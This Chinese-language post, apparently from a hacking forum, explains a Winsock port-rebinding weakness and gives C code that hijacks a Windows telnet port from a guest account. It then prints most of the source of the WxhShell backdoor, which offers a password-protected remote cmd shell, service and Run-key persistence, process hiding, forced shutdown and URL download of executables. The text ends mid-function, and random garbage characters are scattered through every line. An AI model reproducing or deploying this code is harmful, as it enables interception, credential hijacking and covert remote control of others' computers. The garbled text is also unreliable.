在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
ID,_0b s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
1(IZ,*i P@vUQ saddr.sin_family = AF_INET;
L-D4>+ ob;|%_ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
2[qfF6FHA \WE&5
9G bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
~U"m"zpLP &s vg<UZ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
bHv"! ?{B5gaU9F 这意味着什么?意味着可以进行如下的攻击:
"YgpgW kodd7 AD 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
nk%v|ZxoFv k)S1Z s~G 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
0
h!Du|? #5)/B 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
v>B412l __.MS6"N 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
f?)7MR= 8TeOh1\ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
,mp<<%{u /[FDiJH2 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
QDQ"Sc06 *kFd#b+xB 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
aPEI_P+Ls J~]@#=,v #include
?1JY6v]h4 #include
@GQfBV|3 #include
I\k<PglRA #include
xS/W}-dPv DWORD WINAPI ClientThread(LPVOID lpParam);
s!/lQo5/ int main()
`M6"=)twu {
bkDVW WORD wVersionRequested;
:QGo
-,6- DWORD ret;
K%\r[NF WSADATA wsaData;
yT@Aj;X0v BOOL val;
h'
!C SOCKADDR_IN saddr;
@`4T6eL5 SOCKADDR_IN scaddr;
^WO3, int err;
{jB>]7 SOCKET s;
<Q9l'u]3$c SOCKET sc;
_90D4kGU int caddsize;
kWZY+jyt P HANDLE mt;
|du%c`wl DWORD tid;
B=a+cT wVersionRequested = MAKEWORD( 2, 2 );
)
bI.K[0^ err = WSAStartup( wVersionRequested, &wsaData );
Gd%i?(U,R if ( err != 0 ) {
1~L;S printf("error!WSAStartup failed!\n");
P>X[} return -1;
1\m,8i+gU }
l1DJ<I2 saddr.sin_family = AF_INET;
/x ?@Mn> VGeTX 4h //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
.b3h?R*& JVX)>2&$ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
h{^v756L saddr.sin_port = htons(23);
>80k5$t if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
: x&R'wX- {
ITw *m3 printf("error!socket failed!\n");
W<X3!zuKSg return -1;
)tI^2p{ }
=6Ok4Z val = TRUE;
H}F
UgA; //SO_REUSEADDR选项就是可以实现端口重绑定的
\+R %KA/F if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
xX%ppD7 {
vF$(
Y/ printf("error!setsockopt failed!\n");
l[$GOLeS return -1;
cj>UxU][eS }
72OqXa* //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
7! >0 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
z!3=.D //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Qy" Jt ]O Z&Ob,Ru if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
1]Xx{j< {
IAH"vHM ret=GetLastError();
9AVj/?kmU printf("error!bind failed!\n");
MrHJ)x"hy return -1;
Pl:4`oY3 }
%@Gy<t, listen(s,2);
\s*UUODWK while(1)
B.r^'>jQ {
spfW)v/T! caddsize = sizeof(scaddr);
D wJ^ W&* //接受连接请求
dXh[Ea^ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
vYV!8o.I if(sc!=INVALID_SOCKET)
BrE#.g Jq {
6v3l^~kc' mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
@@oJ@; if(mt==NULL)
GB|>eZLv< {
tVAo o-% printf("Thread Creat Failed!\n");
$UH:r break;
y<FC7 }
i|1*bZ6' }
%Z_O\zRqy) CloseHandle(mt);
U_*,XLU }
p*Q-o closesocket(s);
(a_bU5) WSACleanup();
D0jV}oz return 0;
?4R%z([X7 }
W9%v#;2 DWORD WINAPI ClientThread(LPVOID lpParam)
&RZO\ZT {
) 1AAL0F\B SOCKET ss = (SOCKET)lpParam;
T-a>k.}y SOCKET sc;
GfELL`yz unsigned char buf[4096];
=6dAF"b) SOCKADDR_IN saddr;
ck{S long num;
}?,?2U,8: DWORD val;
Q^f{H. DWORD ret;
^5E9p@d"J //如果是隐藏端口应用的话,可以在此处加一些判断
N4+Cg t( //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
(SRY(q saddr.sin_family = AF_INET;
~6i'V?> saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
g9" wX?* saddr.sin_port = htons(23);
61H_o7XXk if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Xb%Q%"?~ {
vWoppt printf("error!socket failed!\n");
!ddyJJ^a return -1;
@6'~RD. }
VG
5*17nf5 val = 100;
-r sbSt ?_ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
(Y)2[j {
&K0b3AWc ret = GetLastError();
`CVkjLiy return -1;
&'>m;W }
Kz42AC if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
(U& {
-SM_JR3< ret = GetLastError();
$$m0mK return -1;
i6KfH\{N }
> mO*.' Gm if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
N 5*Qnb8 {
4tCM2it% printf("error!socket connect failed!\n");
Vr},+Rj closesocket(sc);
!4a fU: closesocket(ss);
csW\Q][ return -1;
eI$V2 }
<9,h! while(1)
MG vz-E1e {
)7*'r@ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
cK1^jH<| //如果是嗅探内容的话,可以再此处进行内容分析和记录
$~6MR_Yq //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
J|
N 6r num = recv(ss,buf,4096,0);
<{cY2cx~3 if(num>0)
s0' haU send(sc,buf,num,0);
%FYhq:j else if(num==0)
7{}E{/ break;
7_2D4CI num = recv(sc,buf,4096,0);
sg7h&<Xx if(num>0)
=T9h7c R send(ss,buf,num,0);
j<~Wp$\i7> else if(num==0)
3FR(gr$X break;
-Rw3[4>@O" }
'*y(F*7+ closesocket(ss);
OCrTzz8 closesocket(sc);
V#w$|2 return 0 ;
_+By=B.' }
HMF2sc$N \eKXsO"d @~$d4K
y< ==========================================================
>}* W$i :o8`2Z *g 下边附上一个代码,,WXhSHELL
Nb$0pc1J< UAF$bR ==========================================================
D-/6RVq0m ;F258/J #include "stdafx.h"
"BSY1?k{ IVh5SS #include <stdio.h>
/GGyM]k3 #include <string.h>
UH>~Y
N #include <windows.h>
<5E'`T #include <winsock2.h>
ch8VJ^%Ra1 #include <winsvc.h>
4uiq'- #include <urlmon.h>
cIw X sx
w317]-n #pragma comment (lib, "Ws2_32.lib")
rQ*w3F?: #pragma comment (lib, "urlmon.lib")
A.r7 ks &b#d4p6&l #define MAX_USER 100 // 最大客户端连接数
U6/7EOW, #define BUF_SOCK 200 // sock buffer
Jt5V{9:(' #define KEY_BUFF 255 // 输入 buffer
ltuV2.$ /= ;,lC #define REBOOT 0 // 重启
;9j ]P56 #define SHUTDOWN 1 // 关机
+=J$:/&U r[V%DU$dj #define DEF_PORT 5000 // 监听端口
&5-1Cd E anW['!T9{s #define REG_LEN 16 // 注册表键长度
~Yd[&vpQ #define SVC_LEN 80 // NT服务名长度
29J|eBvxx vE)N6Ss // 从dll定义API
3q/Us0jr typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
o>M^&)Xs typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
my A;Y typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
9 wR D=a typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
t}R!i-D|HB 8j>V?'Szk // wxhshell配置信息
S} UYkns* struct WSCFG {
R7Qj<, int ws_port; // 监听端口
~}b0zL char ws_passstr[REG_LEN]; // 口令
n3$=& int ws_autoins; // 安装标记, 1=yes 0=no
Q$U.vF7BnP char ws_regname[REG_LEN]; // 注册表键名
&$|~", char ws_svcname[REG_LEN]; // 服务名
>;Hx<FKxP char ws_svcdisp[SVC_LEN]; // 服务显示名
(X@\2M4@T# char ws_svcdesc[SVC_LEN]; // 服务描述信息
@2"3RmYLo char ws_passmsg[SVC_LEN]; // 密码输入提示信息
p?$N[-W 6- int ws_downexe; // 下载执行标记, 1=yes 0=no
:0y-n.-{ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
>!1]G"U char ws_filenam[SVC_LEN]; // 下载后保存的文件名
=Lkn
MPUyu(-%{ };
sX6\AYF1M N-2#-poDe // default Wxhshell configuration
{oY"CZ2 struct WSCFG wscfg={DEF_PORT,
>Y4^<!\v "xuhuanlingzhe",
4C?{p%3c 1,
M%_*vD "Wxhshell",
!f(A9V "Wxhshell",
}T.>p#z "WxhShell Service",
]@9W19=P!P "Wrsky Windows CmdShell Service",
A]m*~Vj] "Please Input Your Password: ",
P\Qvj7_ 1,
sd\}M{U "
http://www.wrsky.com/wxhshell.exe",
=iW hK~S "Wxhshell.exe"
c<_1o!68 };
h
i!K-_Uy |I1,9ex // 消息定义模块
kKF=%J?X char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
O83J[YuzjN char *msg_ws_prompt="\n\r? for help\n\r#>";
K7C
<}y char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
R^`}DlHX char *msg_ws_ext="\n\rExit.";
#"6l+} char *msg_ws_end="\n\rQuit.";
/ZiMD;4@y char *msg_ws_boot="\n\rReboot...";
lB _9b_|2 char *msg_ws_poff="\n\rShutdown...";
?H8w;Csq- char *msg_ws_down="\n\rSave to ";
4e>f}u5 YL*FjpVW char *msg_ws_err="\n\rErr!";
(+v':KH3_ char *msg_ws_ok="\n\rOK!";
/{buFX2"} yI8O# char ExeFile[MAX_PATH];
@XG1d)sE int nUser = 0;
iyCH)MA HANDLE handles[MAX_USER];
x=rMjz-`_ int OsIsNt;
z#RwgSPw6 MX~h>v3_R4 SERVICE_STATUS serviceStatus;
{G=> WAXo SERVICE_STATUS_HANDLE hServiceStatusHandle;
'KmM%tN 8-+# !] // 函数声明
4wKCzPy int Install(void);
x=>dmi3 int Uninstall(void);
O=U,x-Wl int DownloadFile(char *sURL, SOCKET wsh);
ds(X[7XGW
int Boot(int flag);
a`yCPnB( void HideProc(void);
4;~xRg;u&* int GetOsVer(void);
ww
%c+O/ int Wxhshell(SOCKET wsl);
P}AwE,&Q void TalkWithClient(void *cs);
prO&"t
> int CmdShell(SOCKET sock);
)Mq4p'*A[ int StartFromService(void);
o!h::j0,~ int StartWxhshell(LPSTR lpCmdLine);
w$$pTk|&n =UO7!vr;[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
U!+O+( VOID WINAPI NTServiceHandler( DWORD fdwControl );
hFoeVM[h Z]LP18m9kl // 数据结构和表定义
/b{@'] SERVICE_TABLE_ENTRY DispatchTable[] =
]gHrqi% {
dj084q7 {wscfg.ws_svcname, NTServiceMain},
qK;J:GT> {NULL, NULL}
kxe{HxM$Z };
$Rze[3 b/.EA'/ // 自我安装
TQt[he$O int Install(void)
9r\p4_V {
Se??E+aX char svExeFile[MAX_PATH];
zfUj%N HKEY key;
|C./gdq strcpy(svExeFile,ExeFile);
W{JR%Sq$ clqFV
// 如果是win9x系统,修改注册表设为自启动
q ) 5s'( if(!OsIsNt) {
S8;c0}- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
/!&eP3^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
[EPRBK`= RegCloseKey(key);
M&Q&be84 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
tWZ8(E$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
.gNJY7`b RegCloseKey(key);
qu1! KS return 0;
/3L4K }
4UL"f<7 T }
s#8}&2#l }
y1Br4K5C else {
kazgI>"Q8 I&8!V)r) // 如果是NT以上系统,安装为系统服务
Wf:X)S7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
N["M "s(N if (schSCManager!=0)
qzY:>>d' {
U>b.MIBX SC_HANDLE schService = CreateService
<!W9EM (
sFfargl schSCManager,
=`}|hI wscfg.ws_svcname,
<vg|8-,#m wscfg.ws_svcdisp,
1(aib^!B SERVICE_ALL_ACCESS,
MkZoHzg}c SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
%> YRNW@% SERVICE_AUTO_START,
Nsy>qa7 SERVICE_ERROR_NORMAL,
,uO?f1 svExeFile,
?)qm=mebY NULL,
0a?[@ -Sz NULL,
*Q-uE NULL,
vO zUAi NULL,
S2I{?y&K NULL
V-%jSe< );
o9D#d\G if (schService!=0)
l
Hu8ADva {
F%ukT6xp CloseServiceHandle(schService);
slA~k;K:_ CloseServiceHandle(schSCManager);
q|B.@Ng. strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
$f"Ce,f strcat(svExeFile,wscfg.ws_svcname);
FGMYpapc~ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
#s=\ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
wXeJjE%j:3 RegCloseKey(key);
EffU-=?%! return 0;
}z-)!8vF }
kzKQ5i $G }
W}^>lM\8 CloseServiceHandle(schSCManager);
on\ahk, y] }
B`%%,SLJ }
oe_,q&e NUY sQO) return 1;
:$^sI"hO }
>va9*pdJ OYfP!,+bn // 自我卸载
_rUsb4r int Uninstall(void)
"y .(E7 6 {
"X1{* HKEY key;
yle~hL a^L'- ( if(!OsIsNt) {
w\a9A#v, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
n
QOLR?% RegDeleteValue(key,wscfg.ws_regname);
!E/%Hv1 RegCloseKey(key);
A@EUH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
7:)$oH RegDeleteValue(key,wscfg.ws_regname);
{bp~_`O RegCloseKey(key);
XR)I,@i`' return 0;
&2Cu"O'.i }
JR/^Go$^ }
4mWT"T-8 }
aj]%c_])( else {
0 KWi<G1 y-7$HWn SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
KMkX0+Ao if (schSCManager!=0)
J}&xS< {
8+~|!)a SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
0K^G>)l if (schService!=0)
0c:jwtf {
7[7Sm^Tw if(DeleteService(schService)!=0) {
9fb"R"(M CloseServiceHandle(schService);
~F]If \b CloseServiceHandle(schSCManager);
"j+=py` return 0;
/I'
np }
*j|BSd
P CloseServiceHandle(schService);
+(2mHS0_a }
1j^FNg~ CloseServiceHandle(schSCManager);
2fJ2o[v }
SJI+$L\' }
P^bcc ki_Py5 return 1;
}"9jCxXL }
Qte'f+ kF *^" Cn // 从指定url下载文件
Y]1b39O int DownloadFile(char *sURL, SOCKET wsh)
@MGc_"b {
g~=#8nJ HRESULT hr;
>RT02Ey> char seps[]= "/";
R<-( char *token;
@k2nID^> char *file;
}3mIj<I1; char myURL[MAX_PATH];
]2B=@V t, char myFILE[MAX_PATH];
a?9Ka!O4s >&N8Du*[ strcpy(myURL,sURL);
TL_8c][.4$ token=strtok(myURL,seps);
t[cZ|+^] while(token!=NULL)
oBTRO0.s+ {
ul3._Q file=token;
hAp<$7 token=strtok(NULL,seps);
KGb3n;] }
[L@ vC>G H23-%+*J GetCurrentDirectory(MAX_PATH,myFILE);
U.QjB0; strcat(myFILE, "\\");
KC{HX? strcat(myFILE, file);
GKKf#r74 send(wsh,myFILE,strlen(myFILE),0);
^cF_z}Zi+ send(wsh,"...",3,0);
snyg hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
PYz^9Ud 6g if(hr==S_OK)
ra k@oW] return 0;
sIh,@b else
K%A:W return 1;
hK&/A+* $u./%JS }
]\<^rEU d^WEfH // 系统电源模块
[SJ*ks,] int Boot(int flag)
f#UT~/~bL2 {
{` Lem HANDLE hToken;
cvvba 60 TOKEN_PRIVILEGES tkp;
lf\]^yM # `PR)7}/< if(OsIsNt) {
aJ1<X8 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
n089tt=TE LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
!bG%@{W T tkp.PrivilegeCount = 1;
/>zE$)'M tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
a:tCdnK/ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
jn9KQe\3 if(flag==REBOOT) {
iWZrZ5l if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
kMz^37IFMG return 0;
Q}M%
\v }
r0)X]l7 else {
\j]i"LpWb if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
}?=$?3W return 0;
gUB%6v G\I }
-&*
4~ }
SablF2doa else {
BV X6 if(flag==REBOOT) {
UmSy p\i if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
K$dSg1t
return 0;
|A#pG^ }
@e_ bG@ else {
lXS.,#lp if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
T8,?\7)S9 return 0;
!giL~}j(R }
y pv~F }
Ph'P<h:V I|*w?i* return 1;
emo@&6* }
YULI
y-W CD'.bFO^+T // win9x进程隐藏模块
*eAsA(; void HideProc(void)
Yp1;5Bbp {
c-L1 Bkw B6&;nU>; HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
=Vv"\p8 if ( hKernel != NULL )
B'OUT2cgB {
ruG5~dm> pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
i"~J -{d} ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
]CD FreeLibrary(hKernel);
xn'&TQo0 }
.|Pq!uLvc ^#T@NN0T return;
?H\K]; }
@-9I<)Z/2 "|yuP1;L // 获取操作系统版本
0HA` int GetOsVer(void)
3: 'eZcM {
oz(V a! OSVERSIONINFO winfo;
\YE(E04w57 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
`;yfSoY GetVersionEx(&winfo);
;N4A9/) if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Wp"+\{@) return 1;
A~_*vcz else
"&s9;_9 return 0;
nCZ&FNi{O~ }
5G"DgG*< u:Fa1 !4JR // 客户端句柄模块
2 5DXJb^: int Wxhshell(SOCKET wsl)
iYi3x_A` {
wJs#rkW SOCKET wsh;
7{%_6b" struct sockaddr_in client;
);o2eV DWORD myID;
~)XyrKw PT7-_r while(nUser<MAX_USER)
*w>dT {
E-Nc|A int nSize=sizeof(client);
Cku#[?G wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
{k4)f ad\ if(wsh==INVALID_SOCKET) return 1;
/a}F;^ e5/f%4YX handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
`52+.*J+% if(handles[nUser]==0)
+yvtd]D$2W closesocket(wsh);
!7C[\No( else
q#RUL!WF7U nUser++;
uURm6mVt9: }
c]SXcA;Pmv WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
z>rl7&[@ v]UT1d=_T return 0;
|sP;`h}I% }
\$.8iTr@ V2As 5 // 关闭 socket
fhGI void CloseIt(SOCKET wsh)
Wt|IKCx {
By&T59 closesocket(wsh);
'MLp*3djF, nUser--;
Y.XNA]| ExitThread(0);
n7g}u }
Hd*e9;z ^U"$uJz!c // 客户端请求句柄
#NU@7Q[4 void TalkWithClient(void *cs)
P%VEJ5,]b {
6V{Sf9V| 77KB-l2 SOCKET wsh=(SOCKET)cs;
a8D7n Ea char pwd[SVC_LEN];
*3.K; Ic; char cmd[KEY_BUFF];
kiYHJ\a char chr[1];
GtR!a int i,j;
! =(OvX_< &PQhJ#YG while (nUser < MAX_USER) {
_{Q)5ooP U"nk AW if(wscfg.ws_passstr) {
,%)O/{p_ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
&8p]yo2zO //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Blw AD //ZeroMemory(pwd,KEY_BUFF);
+,7nsWV i=0;
yx0wR while(i<SVC_LEN) {
c`S`.WID X:N`x // 设置超时
WP*xu-(: fd_set FdRead;
/\L-y,>X struct timeval TimeOut;
6pJFrWe{ FD_ZERO(&FdRead);
JXFPN| FD_SET(wsh,&FdRead);
>A5*=@7bY? TimeOut.tv_sec=8;
0R2KI,WI TimeOut.tv_usec=0;
`_YXU int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
srzlr-J if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
$('"0 @fg /b&ka&|t
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Dj?84y pwd
=chr[0]; l k~VvRq
if(chr[0]==0xd || chr[0]==0xa) { Pz\4#E]
pwd=0; (G1KMy
break; 8jBrD1
} olm0O (9
i++; !4.VK-a9V%
} n["G
ry
&`@S_YLr
// 如果是非法用户,关闭 socket {lam],#r
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {ef9ov Xk
} KgD sqwy
0tz7^:|D
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^(+ X|t
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GZefeBi
rY?]p Mp
while(1) { a/wg%cWG_
.(J~:U
ZeroMemory(cmd,KEY_BUFF); 7)RDu,fx
\wZ
4enm
// 自动支持客户端 telnet标准 qjr:(x /
j=0; .ZOG,h+8
while(j<KEY_BUFF) { WswM5RN
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XE#a#
cmd[j]=chr[0]; plNoI1st
if(chr[0]==0xa || chr[0]==0xd) { 8}M-b6RV
cmd[j]=0; MnLo{G]
break; *x!j:/S`n
} ltWEA
j++; L`2(u!i J
} t.rlC5
k
XY`{F.2h
// 下载文件 SO|!x}GfI
if(strstr(cmd,"http://")) {
9q/k,g
send(wsh,msg_ws_down,strlen(msg_ws_down),0); fw&cv9X(IU
if(DownloadFile(cmd,wsh)) F ,;B
send(wsh,msg_ws_err,strlen(msg_ws_err),0); wiFA3_\G
else "lVbla4b
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <lkt'iT=Sz
} A!$;pwn0
else { "cZ ){w
*KV^X(/
switch(cmd[0]) { gB_gjn\
(^HU|
// 帮助 7_9^nDU
case '?': { r@t
\a+
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >rhqhmh;W"
break; ~0@uR
} $x/VO\Z{-
// 安装 9GX'+$R]
case 'i': { FfRvi8
if(Install()) Od("tLIO}I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dz3~cuVb
else BCmKzv
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NwcRH9};i
break; &W8fEQwa
} |4C5;"P c
// 卸载 <YM!K8hu$
case 'r': { P<CPA7K
if(Uninstall()) 2RU/oqmR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~v@.YJoZ4Z
else wzj:PS
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :u,Ji9
u
break; FrsXLUY
} &c^tJ-s
// 显示 wxhshell 所在路径 \zJb}NbnT
case 'p': { ms&6N']
char svExeFile[MAX_PATH]; r0Zj'F_e
strcpy(svExeFile,"\n\r"); C14"lB.
strcat(svExeFile,ExeFile); 3o2x&v
send(wsh,svExeFile,strlen(svExeFile),0); /[qLf:rGI
break; #e[S+a
} (j(hr'f
// 重启 -]Ny-[P
case 'b': { yJ:rry
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :-Wh'H(
if(Boot(REBOOT)) HPY;UN
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [Mk:Zz%
else { vkLKzsN' ]
closesocket(wsh); 6{w'q&LYcE
ExitThread(0); \;+TZ1i_
} 0}`0!Kv
break; WR9-HPF
} }vb.>hy
// 关机 z%;_h-
case 'd': { lMmP]{.>$
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C';Dc4j
if(Boot(SHUTDOWN)) 2c'<rkA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *&z!y/
else { RGLJaEl !
closesocket(wsh); s$kvLy<
ExitThread(0); SN 4JX
} -C2[ZP-
break; sk5B} -
} zWrynJ}s
// 获取shell L0R$T=~%)
case 's': { %KPQ|^WE
CmdShell(wsh); F@KtRUxE
closesocket(wsh); #h#_xh'
ExitThread(0); bt"5.nm
break; !ir%Pz^)
} \bies1TBB^
// 退出 3T
/_#=9TV
case 'x': { tmQ,>
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6st^-L
CloseIt(wsh); Us\Nmso
z
break; N[I ?x5:u
} GBTwQYF
// 离开 9aYVbq""
case 'q': { yBCLS550
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,ZZ5A;)
closesocket(wsh); ? r}2JHvN
WSACleanup(); ( m7qc
exit(1); :<H4hYt2
break; N>iNz[a
q
} jFl!<ooCo
} T3Sz<K$E
} d/b\:[B@
`NQ;|!
// 提示信息 ,E8g~ZUY9
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ey$H2zmo
} <r)5jf
} Zul@aS
!
f jMmlp
return; xP7mP+D
} ;3iWV"&_A
Q$5%9
// shell模块句柄 4WPco"xH!
int CmdShell(SOCKET sock) j>5X^Jd
{ dpT?*qLM
STARTUPINFO si; L lD=c
ZeroMemory(&si,sizeof(si)); w3;T]R*
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |+Xh ^E
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?weuq"*a
PROCESS_INFORMATION ProcessInfo; }%c0EY'
char cmdline[]="cmd"; &w{z
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "$3~):o
return 0; B}@CtVWFz
} _z\qtl~3
DG,m;vg+
// 自身启动模式 '8LHX6FXK
int StartFromService(void) F5H]$AjW
{ Q6p75$SVq
typedef struct R8Dn
GR
{ 0S\HO<~k
DWORD ExitStatus; 8mC$p6Okd
DWORD PebBaseAddress; (S_1C,
DWORD AffinityMask; t1p[!53(
DWORD BasePriority; CQA^"Ll
ULONG UniqueProcessId;
QrLXAK\5
